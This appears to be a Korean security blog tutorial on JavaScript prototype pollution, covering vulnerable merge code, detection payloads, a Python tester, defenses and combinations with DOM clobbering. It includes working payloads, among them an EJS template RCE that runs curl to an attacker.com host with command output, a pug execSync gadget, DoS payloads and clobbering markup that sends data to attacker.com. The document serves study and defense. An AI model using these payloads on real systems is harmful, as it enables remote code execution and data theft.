Intro
Prototype Pollution은 처음 공부할 때 개념이 헷갈렸던 취약점입니다. SQL Injection처럼 명확한 페이로드가 있는 게 아니라, JavaScript의 상속 메커니즘 자체를 깨버리는 거라 발현 지점도 다양하고 임팩트도 케이스마다 천차만별입니다.
{}.__proto__.isAdmin = true 한 줄만 들어가도 그 페이지의 모든 객체가 obj.isAdmin === true로 응답하는 마법이 펼쳐집니다. 처음엔 “이게 진짜 취약점인가?” 싶었는데, 실제로 클라이언트 측에선 XSS로, 서버 측에선 RCE까지 이어지는 케이스를 보면서 임팩트를 체감했습니다.
요즘은 Lodash, jQuery, Express 등 메이저 라이브러리들이 대부분 패치됐지만, 자체 구현된 deep merge / parser 코드에선 여전히 발견되는 것 같습니다. 특히 사용자 입력을 객체로 변환하는 모든 지점은 한번 의심해볼 만합니다.
이 글에서는 Prototype Pollution의 원리, 발견 패턴, 클라이언트/서버 익스플로잇, 그리고 DOM Clobbering과 결합한 RCE 시나리오까지 정리해두려고 합니다.
Prototype Pollution 이해
Prototype 동작 원리
JavaScript는 모든 객체가 __proto__ 체인을 통해 Object.prototype을 상속받습니다.
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
console.log(obj.toString); // function (Object.prototype에서 상속)
// Object.prototype에 속성을 추가하면 모든 객체가 영향받음
Object.prototype.polluted = "g3rm";
console.log({}.polluted); // "g3rm"
console.log([].polluted); // "g3rm"
console.log("string".polluted); // "g3rm"
🔥 핵심은 모든 객체가
Object.prototype을 공유한다는 점입니다. 사용자 입력으로__proto__에 속성을 추가할 수 있으면 애플리케이션 전체가 오염됩니다.
취약 패턴
// 패턴 1: Recursive Merge (가장 흔함)
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// 페이로드: {"__proto__": {"polluted": "yes"}}
// → target.__proto__.polluted = "yes" 가 되면서 Object.prototype 오염
// 패턴 2: Path-based Property Set
function setValue(obj, path, value) {
const keys = path.split('.');
let current = obj;
for (let i = 0; i < keys.length - 1; i++) {
if (!current[keys[i]]) current[keys[i]] = {};
current = current[keys[i]];
}
current[keys[keys.length - 1]] = value;
}
// 페이로드: setValue({}, "__proto__.polluted", "yes")
// 패턴 3: Object.assign으로 사용자 입력 직접 병합
const config = Object.assign({}, defaultConfig, JSON.parse(req.body));
// req.body = '{"__proto__": {"isAdmin": true}}'
Source & Sink
# Source (오염 가능 입력 지점)
- JSON.parse(req.body)
- URL query string parser (querystring, qs)
- Form data parser
- YAML parser
- MongoDB 쿼리 (NoSQLi 결합)
# Sink (오염된 prototype이 트리거되는 지점)
- 템플릿 엔진 (Pug, Handlebars, EJS)
- Express의 res.render
- child_process 옵션 (서버 RCE)
- innerHTML / script.src (클라이언트 XSS)
- Object 옵션 lookup ({...defaults, ...userInput})
Detect & Exploit
Detect
기본 탐지 페이로드
// 클라이언트 측 (URL 파라미터)
?__proto__[polluted]=g3rm
?__proto__.polluted=g3rm
?constructor[prototype][polluted]=g3rm
// JSON 본문
{"__proto__": {"polluted": "g3rm"}}
{"constructor": {"prototype": {"polluted": "g3rm"}}}
// 중첩
{"a": {"__proto__": {"polluted": "g3rm"}}}
오염 확인 방법
페이로드 주입 후 응답에서 확인합니다.
// DevTools Console에서 (클라이언트 측)
({}).polluted // "g3rm" 이면 오염 성공
// 서버 응답에서 다음 패턴 확인
// 1. 새 응답에서 알 수 없는 필드가 등장
// 2. 기본값이 의도치 않게 변경
// 3. 특정 동작이 활성화 (디버그 모드 등)
URL 기반 자동 탐지
# 자동화 도구
ppmap https://victim.com/
# Burp Extension
# - "Backslash Powered Scanner"
# - "Server-Side Prototype Pollution Scanner" (PortSwigger)
☑️ 클라이언트 측은 DevTools에서 즉시 확인되지만, 서버 측은 부수효과(side-effect) 기반으로 추론해야 해서 “서버 측 prototype pollution” 진단이 훨씬 까다롭습니다. PortSwigger Research의 SSPP scanner 기법을 참고하면 됩니다.
Exploit - Client-Side
클라이언트 측 Prototype Pollution은 보통 XSS로 이어집니다.
1. jQuery $.extend 통한 오염 → XSS
// 취약 코드 (jQuery < 3.4.0)
$.extend(true, {}, JSON.parse(decodeURIComponent(location.hash.substring(1))));
// 페이로드 URL
https://victim.com/#%7B%22__proto__%22%3A%7B%22src%22%3A%22data%3Atext%2Fjavascript%2Calert(1)%22%7D%7D
// 디코딩 후
{"__proto__":{"src":"data:text/javascript,alert(1)"}}
// 페이지 어딘가에서 새 script 요소 생성 시
const s = document.createElement('script');
// s.src 가 빈 문자열이 아닌 prototype의 'src'를 참조 → XSS
2. Lodash 통한 오염
// 취약 코드 (lodash < 4.17.11)
_.merge({}, JSON.parse(req.body));
_.set(obj, userPath, value);
_.zipObjectDeep(userKeys, userValues);
// 페이로드
{"__proto__": {"polluted": "yes"}}
_.set({}, "__proto__.polluted", "yes")
_.zipObjectDeep(["__proto__.polluted"], ["yes"])
3. 옵션 객체 가젯 (Gadget)
라이브러리들이 옵션 lookup 시 {...defaults, ...userOptions} 패턴을 쓰면, 오염된 prototype의 속성이 옵션으로 활용됩니다.
// 페이지에 jQuery + 사용자 입력 처리 코드
$.parseHTML(userInput);
// 1단계: Prototype Pollution
Object.prototype.context = "<img src=x onerror=alert(1)>";
// 2단계: $.parseHTML이 옵션으로 'context'를 참조하면서 XSS 트리거
🔥 클라이언트 측 익스플로잇의 핵심은 “Pollution + 적절한 Gadget 라이브러리” 조합입니다. PortSwigger의 client-side gadget 카탈로그에 라이브러리별 가젯이 정리되어 있습니다.
Exploit - Server-Side
서버 측은 임팩트가 훨씬 큽니다. RCE까지 이어지는 케이스가 많습니다.
1. Express + EJS RCE
// 취약 코드 (Express + EJS)
app.post('/profile', (req, res) => {
const data = {};
merge(data, req.body);
res.render('profile', data);
});
// 페이로드
POST /profile
Content-Type: application/json
{
"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('curl http://attacker.com/?d=$(id)');//"
}
}
EJS는 템플릿 컴파일 시 outputFunctionName 옵션을 그대로 코드에 삽입하기 때문에, prototype을 통해 옵션을 오염시키면 임의 코드 실행이 가능합니다.
2. child_process 옵션 오염
// 취약 코드
const { spawn } = require('child_process');
spawn('node', ['script.js']);
// 페이로드 (다른 엔드포인트에서 prototype 오염 후)
{"__proto__": {"shell": "/bin/bash", "env": {"NODE_OPTIONS": "--inspect=0.0.0.0:9229"}}}
// → spawn 호출 시 shell, env 옵션이 prototype에서 자동 lookup
// → /bin/bash로 실행되거나 디버그 포트 노출
3. Mongoose / Express 내부 옵션 오염
// JSON 파서 옵션 오염
{"__proto__": {"json spaces": 999999}} // DoS
// CORS 우회
{"__proto__": {"origin": "*", "credentials": true}}
// Mongoose populate 옵션 오염
{"__proto__": {"select": "+password +secret"}}
// → 이후 모든 query에서 비밀번호 필드까지 자동 select
☑️ Server-Side Prototype Pollution은 Gareth Heyes의 SSPP 연구에서 Detection 기법(
status code oracle,JSON spaces등)을 제시했습니다. 진단 시 이 기법으로 1차 확인 후 가젯 매칭하는 게 정석입니다.
4. 의존성 라이브러리 가젯 활용
서버에서 실행 중인 라이브러리에 따라 페이로드가 달라집니다.
// Node.js의 require() 캐시 오염
{"__proto__": {"NODE_PATH": "/tmp/attacker_modules"}}
// pug 템플릿 엔진 RCE
{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('id')"}}}
// Handlebars RCE
{"__proto__": {"type": "Program", "body": [...]}}
Server-Side Prototype Pollution Gadgets 저장소에 라이브러리별 가젯이 잘 정리되어 있습니다.
DoS - 가장 쉬운 공격
코드 실행이 어려운 환경에서도 DoS는 거의 항상 가능합니다.
// toString 오염 → 모든 String 변환 시 에러
{"__proto__": {"toString": null}}
// JSON.stringify 무한 루프
{"__proto__": {"length": 1e10}}
// Express 응답 처리 깨뜨리기
{"__proto__": {"_dumpExceptions": true}}
🔥 DoS는 PoC 보고용으로 가장 빠르게 임팩트를 보여줄 수 있어서, 진단 보고서에서 “최소 DoS 가능 + 추가 조사 시 RCE 가능성” 형태로 권고하는 경우가 많습니다.
PoC - Pollution Tester
서버 응답에 __proto__ 페이로드가 반영되는지 자동 확인하는 스크립트입니다.
# Python 3.11 / requests 2.31.0
# pip install requests==2.31.0
import requests
import logging
import json
from urllib.parse import urlencode
logging.basicConfig(level=logging.INFO, format='[%(asctime)s] %(message)s')
# 다양한 페이로드 변형
PAYLOADS = {
'json_proto': {'__proto__': {'g3rm_polluted': 'YES'}},
'json_constructor': {'constructor': {'prototype': {'g3rm_polluted': 'YES'}}},
'json_nested': {'a': {'__proto__': {'g3rm_polluted': 'YES'}}},
}
URL_PAYLOADS = [
'__proto__[g3rm_polluted]=YES',
'__proto__.g3rm_polluted=YES',
'constructor[prototype][g3rm_polluted]=YES',
]
# Server-Side Prototype Pollution 탐지용 사이드 이펙트 페이로드
# (Heyes의 status code oracle 기법)
SIDE_EFFECT_PAYLOADS = {
'status_oracle': {'__proto__': {'status': 510}}, # 응답 코드 변경 시 오염 확인
'json_spaces': {'__proto__': {'json spaces': 8}}, # JSON 응답 들여쓰기 변경 시
'expose': {'__proto__': {'exposedHeaders': ['X-G3rm']}},
}
def test_json_payload(target_url, payload_name, payload):
"""JSON 본문 페이로드 테스트"""
try:
r = requests.post(
target_url,
json=payload,
headers={'Content-Type': 'application/json'},
timeout=10,
allow_redirects=False
)
# 1차 확인: 같은 엔드포인트 또는 다른 엔드포인트에서 오염 확인
check = requests.get(target_url, timeout=10)
if 'g3rm_polluted' in check.text:
logging.warning(f"[VULN] {payload_name}: Pollution reflected in response")
return True
return False
except requests.exceptions.RequestException as e:
logging.error(f"[ERR] {payload_name}: {e}")
return False
def test_url_payload(target_url, payload):
"""URL query string 페이로드 테스트"""
try:
url = f"{target_url}?{payload}"
r = requests.get(url, timeout=10)
if 'g3rm_polluted' in r.text:
logging.warning(f"[VULN] URL payload reflected: {payload}")
return True
return False
except requests.exceptions.RequestException as e:
logging.error(f"[ERR] {e}")
return False
def test_side_effects(target_url):
"""사이드 이펙트 기반 SSPP 탐지 (status code oracle)"""
logging.info("[*] Testing side-effect based detection (SSPP oracle)")
# baseline 응답
base = requests.get(target_url, timeout=10)
base_status = base.status_code
base_len = len(base.text)
logging.info(f" Baseline: status={base_status} len={base_len}")
for name, payload in SIDE_EFFECT_PAYLOADS.items():
try:
requests.post(target_url, json=payload, timeout=10)
check = requests.get(target_url, timeout=10)
if check.status_code != base_status:
logging.warning(f"[ORACLE] {name}: status changed {base_status} → {check.status_code}")
elif abs(len(check.text) - base_len) > 50:
logging.warning(f"[ORACLE] {name}: length changed {base_len} → {len(check.text)}")
except requests.exceptions.RequestException as e:
logging.error(f"[ERR] {name}: {e}")
def run(target_url):
"""전체 진단 실행"""
logging.info(f"[+] Prototype Pollution Tester started")
logging.info(f"[+] Target: {target_url}")
total = len(PAYLOADS) + len(URL_PAYLOADS)
done = 0
hits = 0
# 1. JSON 페이로드 테스트
logging.info("[*] Phase 1: JSON Body Pollution")
for name, payload in PAYLOADS.items():
done += 1
logging.info(f"[Progress] {done}/{total} - {name}")
if test_json_payload(target_url, name, payload):
hits += 1
# 2. URL 페이로드 테스트
logging.info("[*] Phase 2: URL Query Pollution")
for payload in URL_PAYLOADS:
done += 1
logging.info(f"[Progress] {done}/{total} - {payload[:30]}")
if test_url_payload(target_url, payload):
hits += 1
# 3. 사이드 이펙트 기반 SSPP
test_side_effects(target_url)
logging.info(f"[+] Done. Hits: {hits}/{total}")
if __name__ == '__main__':
# RoE 범위 내 진단 환경에서만 사용
run('https://victim.example.com/api/profile')
Security Measures
1. Object.create(null) 사용
// 위험 (Object.prototype 상속)
const config = {};
// 안전 (prototype 체인 없음)
const config = Object.create(null);
config.__proto__ = "test"; // prototype 오염 시도해도 영향 없음
console.log(config.toString); // undefined
2. Object.freeze(Object.prototype)
// 애플리케이션 시작 시 한번 호출
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Function.prototype);
// 이후 prototype 오염 시도는 silently fail (strict mode에선 throw)
3. JSON 파싱 시 __proto__ 키 차단
// reviver 함수로 위험 키 제거
JSON.parse(input, (key, value) => {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
return undefined;
}
return value;
});
4. Map / Set 사용
// 위험 (객체 사용)
const cache = {};
cache[userKey] = value;
// 안전 (Map은 prototype 체인 영향 없음)
const cache = new Map();
cache.set(userKey, value);
5. 검증된 라이브러리 사용
직접 deep merge 구현하지 말고 검증된 것 사용하면 됩니다.
- lodash >= 4.17.21 (구버전은 취약)
- deepmerge (npm)
- immer (불변성 + 안전)
6. Node.js 옵션 활용
# Node.js 실행 시 prototype 오염 차단
node --disable-proto=delete app.js
node --disable-proto=throw app.js
☑️
--disable-proto옵션은 Node.js 12.0 이상에서 사용 가능하고,__proto__접근 자체를 차단해서 가장 강력한 방어가 됩니다.
🔗 별첨: Prototype Pollution + DOM Clobbering 결합 시나리오
두 기법은 단독으론 임팩트가 제한적이지만, 결합하면 sanitizer 적용 환경에서도 RCE급 임팩트가 나오는 경우가 있습니다. 진단 시 두 기법을 따로따로 보지 말고 같이 봐야 하는 이유입니다.
결합이 필요한 이유
[단독 한계]
- Prototype Pollution: JSON 파서가 __proto__ 키를 차단하면 막힘
- DOM Clobbering: 깊은 중첩 객체나 함수 호출 결과까지는 영향 못 줌
[결합 시 시너지]
- DOM Clobbering으로 prototype 체인의 중간 객체를 점령
- 점령한 객체의 속성을 통해 라이브러리 옵션 lookup 가젯 트리거
- → JS 한 줄 실행 없이 sanitizer 통과 → 외부 script 로드 → RCE
Scenario 1. Sanitized HTML에서 jQuery Pollution 트리거
<script> 태그가 막혀있고 JSON 파싱도 안전한데, 페이지에 jQuery가 있고 사용자 HTML이 렌더링되는 환경입니다.
// 페이지 코드 (취약 - jQuery < 3.4.0)
$(document).ready(function() {
const opts = $.extend(true, {}, defaults, getUserConfig());
$.parseHTML(opts.html, opts.context);
});
function getUserConfig() {
// 사용자가 만든 페이지의 form 데이터를 객체로 변환
const form = document.getElementById('config');
if (!form) return {};
return Object.fromEntries(new FormData(form));
}
<!-- 페이로드: HTML만 삽입 (Sanitizer 통과) -->
<form id="config">
<input name="__proto__[context]" value="...">
<input name="html" value="<img src=x onerror=alert(1)>">
</form>
[동작 흐름]
1. DOM Clobbering: form#config → window.config = <form>
2. FormData 추출 시 __proto__[context] 키가 그대로 객체 키로 변환
3. $.extend(true, ...) 가 deep merge 하면서 prototype 오염
4. $.parseHTML이 prototype의 context 속성을 참조하면서 XSS 트리거
Scenario 2. Object.prototype 직접 오염은 불가, 중간 객체 가로채기
DOM Clobbering으론 Object.prototype 자체는 못 건드리지만, prototype 체인을 따라 lookup하는 중간 객체를 점령할 수 있습니다.
// 취약 코드 (라이브러리 옵션 lookup 패턴)
function getOption(name) {
return window.appConfig?.[name] ?? defaults[name];
}
// 어디선가 사용
const url = getOption('apiURL');
fetch(url);
<!-- 페이로드 -->
<form id="appConfig">
<input name="apiURL" value="https://attacker.com/log">
</form>
<!-- 동작 흐름
1. window.appConfig = <form>
2. appConfig.apiURL = <input>
3. fetch(<input>) → input.toString() → input.value = URL
4. 공격자 서버로 데이터 유출
-->
Scenario 3. Mocha/Lodash 가젯 + Form Clobbering으로 자동 트리거
가장 임팩트 있는 결합입니다. 페이지 로드 시 자동 실행되는 라이브러리 초기화 루틴에서 가젯이 발동합니다.
// 취약 코드 (페이지에 Mocha가 있는 경우 - 일부 테스트 페이지에서 발견)
mocha.setup({ /* options */ });
// Mocha는 옵션 lookup 시 prototype 체인까지 탐색
// → Object.prototype에 'reporter' 속성이 있으면 그걸 사용
<!-- 페이로드 (DOMPurify 통과) -->
<form id="constructor">
<input name="prototype">
</form>
<!-- 또는 더 직접적으로 (Mocha의 src 옵션 가젯) -->
<a id="reporter" href="//attacker.com/x.js"></a>
<form id="src">
<input name="value" value="//attacker.com/x.js">
</form>
🔥 BlackFan의 client-side prototype pollution 저장소에 라이브러리별 가젯과 Clobbering 결합 페이로드가 한 묶음으로 정리되어 있습니다. 진단 시 페이지에서 라이브러리 식별 후 매칭되는 페이로드 가져오는 게 가장 빠릅니다.
Scenario 4. Prototype 오염을 통한 신규 변수 생성 → Clobbering Sink 활성화
반대 방향 결합입니다. 원래는 window.config가 없어서 clobbering 못하는 환경에서, prototype 오염으로 모든 객체에 config 속성을 만든 뒤 활용합니다.
// 취약 코드
if (window.someConfig?.callback) {
window.someConfig.callback();
}
[동작 흐름]
1. 다른 엔드포인트에서 Prototype Pollution
→ Object.prototype.someConfig = { callback: () => ... }
2. 위 코드 실행 시 window.someConfig가 prototype에서 lookup되며 활성화
3. 클로버링 페이로드로 callback 함수 자체를 가로챔
<a id="someConfig" ...>
결합 시나리오 진단 체크리스트
1. 페이지에 사용된 라이브러리 식별 (jQuery, Lodash, Bootstrap, Mocha 등)
→ 알려진 가젯 매칭
2. Sanitizer 적용 여부 확인 + 우회 가능성
→ DOMPurify의 SANITIZE_NAMED_PROPS 옵션 미적용 시 Clobbering 가능
3. JSON 파서 안전성 확인
→ __proto__ 키 차단 여부
4. 두 기법의 매칭 지점 찾기
→ "prototype 오염으로 영향받을 변수" ↔ "clobbering으로 점령 가능한 변수"
→ 겹치는 변수가 있으면 단독으론 막혀도 결합 시 가능
5. 외부 script 로드 가능 여부 확인 (CSP 검증)
→ 가젯 발동 후 attacker.com에서 JS 로드 가능해야 RCE까지 연결
결합 방어
단일 방어로는 부족하고 다층 방어가 필요합니다.
// 1. Prototype Pollution 차단
Object.freeze(Object.prototype);
// 2. DOM Clobbering 차단
DOMPurify.sanitize(input, { SANITIZE_NAMED_PROPS: true });
// 3. CSP로 외부 script 로드 차단 (마지막 방어선)
// Content-Security-Policy: script-src 'nonce-{RANDOM}' 'strict-dynamic'; base-uri 'none'
// 4. typeof 검증으로 옵션 lookup 시 객체 검증
if (typeof window.appConfig === 'object' &&
!(window.appConfig instanceof HTMLElement) &&
Object.getPrototypeOf(window.appConfig) === Object.prototype) {
// 안전한 사용
}
☑️ 4번의 prototype 검증까지 들어가면 거의 완벽하지만 코드가 장황해지므로, 보통 1+2+3 조합으로 권고합니다.